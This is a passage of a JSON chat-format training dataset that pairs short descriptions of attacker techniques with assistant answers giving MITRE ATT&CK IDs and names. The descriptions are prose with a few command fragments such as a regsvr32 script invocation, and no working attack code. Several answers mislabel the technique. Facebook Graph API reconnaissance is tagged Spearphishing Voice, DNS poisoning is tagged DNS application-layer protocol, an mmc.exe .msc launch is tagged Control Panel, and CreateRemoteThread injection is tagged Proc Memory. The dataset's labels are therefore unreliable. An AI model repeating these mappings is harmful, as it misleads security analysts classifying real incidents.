                "role": "user",
                "content": "An attacker uses the Facebook Graph API to retrieve details about the target's employees and their connections."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Windows API function LsaEnumerateTrustedDomainInfoEx to discover trusted domains."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a spear‑phishing email that, when opened, records the recipient's email address for later use."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin access, the intruder deploys a Docker container that runs crypto‑mining tasks, draining the host's CPU and memory."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor manipulates the SIEM dashboard to display fabricated intrusion alerts, misleading the SOC team."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks for a particular installed software version that is unique to the target organization, proceeding only if the version matches."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators dump Windows credential vault files and reuse the plaintext credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers stole a private repository of custom PowerShell scripts from a former insider to enhance their infiltration capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows API to enumerate and extract credentials from the DPAPI-protected stores."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gained access to Azure AD and modified the token signing certificate, allowing them to create valid JWTs that bypass multi‑factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves writing shellcode into a victim process's memory and then using CreateRemoteThread to run it."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a rule in the victim’s Office 365 account to copy every email to an external address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets registry hive to extract stored LSA secrets."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a script that harvested form field inputs from a web login page."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers remove the organization's newly added YARA rules from the detection engine, ensuring that their payloads bypass indicator‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a rootkit to read the bootloader's configuration files and gather information about firmware settings."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor accomplishes lateral movement through modifying system files, allowing them to maintain persistence and evade detection as they move across the network."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the @rpath loader to redirect an application to load a malicious dylib, thereby executing arbitrary code within the target process."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a new password filter DLL that silently captures clear‑text passwords before they are hashed."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Advanced threat actor sets up a multi‑hop proxy chain to mask the origin of C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before launching the exfiltration routine, the implant validates that it is running under a legitimate user account and not a sandboxed service account."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set leverages the Windows Credential Manager's undocumented functions to harvest saved account passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries public WHOIS databases to gather domain ownership information for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary posts a fake job posting on a professional networking site, then messages interested candidates with a link to a bogus application portal that captures their login details."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool mounts a hidden VHD file and installs its command‑and‑control module inside, making the files invisible in normal Explorer views."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers infiltrate a company's internal chat platform and harvest credentials that users pasted into conversation threads."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses direct calls to the native API SetThreadContext to hijack thread execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the command \"docker inspect\" on a specific container ID, the threat actor gathers detailed configuration and resource usage."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs mshta with a URL pointing to an online script, using the system binary proxy execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stores its keylogging module in a hidden ISO image mounted as a virtual drive, ensuring the file remains unseen by typical file enumeration tools."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a selective wipe, targeting only the volume containing sensitive logs while leaving other partitions untouched."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker convinces a user to open a compromised PDF that exploits a vulnerability and runs a malicious payload via a hidden embedded script."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a custom protocol that encrypts all C2 messages with a shared secret key, effectively establishing a symmetric encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware duplicates the command line of a legitimate process and starts as a child of that process, breaking the original process hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages DNS poisoning to redirect victims to a malicious server for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email drops a script that runs mmc.exe with a malicious .msc file, using the Control Panel component to bypass defenses."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the macOS \"system_profiler\" tool, the intruder gathers hardware and software specifications of the victim device."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious JavaScript is placed on the company's login page, capturing every keystroke entered by users and sending it to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves abusing a serverless container (e.g., AWS Fargate) with exposed environment variables to gain code execution privileges."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses HTTPS POST requests with encrypted payloads to exfiltrate files."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider employed the organization's internal document management system to upload a backdoor executable to shared drives."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor uses a custom LSASS driver loaded at logon to maintain access and exfiltrate password hashes."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the built‑in Windows Snipping Tool via COM automation to silently record the user's screen activity."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised third‑party web server as a proxy to forward data exfiltration requests."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTML smuggling technique: malicious code is hidden in an HTML file and reconstructed client‑side using JavaScript."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the macOS XPC service to inject code into a higher‑privilege process and steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor installs a rogue DNS server within the network to intercept and redirect queries."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leveraged the AWS STS GetCallerIdentity operation to verify its privileges before performing further cloud discovery."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stops the Windows Update service to prevent system patches from being applied."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor drops a PE file into memory of a legitimate browser process via process hollowing, then resumes its execution."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat updated the system firmware with a trojan that establishes a foothold before any security software loads."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stores its encrypted data within the $Secure hidden file on the device's volume to conceal exfiltration activity."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code connects directly to a cloud VM on IBM Cloud via the VNC protocol to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts the system's locale settings and time zone to adjust ransomware encryption timestamps."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script harvests session tokens from the browser's storage and replays them to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote services were abused by connecting to the \\\\host\\ADMIN$ share with stolen hashes and dropping a DLL."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers disguised their ransomware by using the same file name and icon as a trusted PDF reader, causing users to open it unknowingly."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan runs 'system_profiler SPHardwareDataType' on macOS to retrieve hardware model identifier and serial number."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration occurs through covert channel using legitimate DNS queries that contain data fragments in the subdomain."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script converts system information into a URL-safe base64 string before sending it via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts phone pre‑texting, calling the front desk to ask for the names of department heads, later using that information in targeted phishing."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed a malicious JavaScript file via regsvr32 /n /i:script.js, leveraging the binary as a proxy for code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team altered the trust relationship between the compromised domain and a partner domain to enable unauthorized authentication."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware retrieved a PNG file from a public website, extracted hidden DLL code concealed via least significant bit (LSB) steganography, and loaded it into memory."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary initiates a Wi-Fi deauthentication attack, flooding the victim's wireless interface with deauth frames and causing service disruption."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan modifies the Winlogon \"Shell\" value to point to a malicious DLL that runs at system start."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employed the CMSTP command-line interface to install a malicious DLL via an INF file, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumper reads /proc/sys/kernel/random/boot_id to collect system identifiers before attempting further credential extraction."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the KernelCallbackTable structures to hijack execution flow and run their own routines."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting reconnaissance on a system's authentication mechanisms to identify potential weaknesses."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using LNK icon smuggling, the malicious actor replaces the icon resource in a shortcut with a DLL that runs automatically during icon rendering."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducted reconnaissance by searching Google dorks to discover unprotected web pages belonging to the target."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a tool to enumerate AD service accounts, extracts their Kerberos tickets, and cracks the tickets to obtain the service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups infiltrated a DNS infrastructure by exploiting weak SNMP community strings."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries add a systemd service pointing to an executable that exfiltrates data whenever the host is rebooted."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor queries the organization's document management system API to retrieve personnel records."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
